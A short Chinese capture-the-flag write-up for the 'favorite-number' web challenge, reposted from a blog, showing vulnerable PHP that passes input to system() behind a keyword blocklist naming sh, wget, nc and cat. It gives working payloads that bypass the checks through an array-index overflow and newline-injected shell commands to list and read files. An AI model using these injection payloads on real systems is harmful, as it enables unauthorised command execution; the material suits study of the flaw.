攻防世界: web favorite-number

时间:2021-09-07 00:29:02   收藏:0   阅读:43

题目剖析

这是一道PHP代码审计题目

 <?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = [‘admin‘, ‘user‘];
if($stuff === $array && $stuff[0] != ‘admin‘) {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|‘|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo ‘Bonjour!‘;
        }
    }
} else {
    highlight_file(__FILE__);
} 

通过代码审计,可以观察到以下信息:

漏洞分析

注入payload

所以我们可以分别注入payload为:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
!技术分享图片
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
技术分享图片
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac find / -inum 33043719
技术分享图片

原文:https://www.cnblogs.com/Zeker62/p/15232412.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!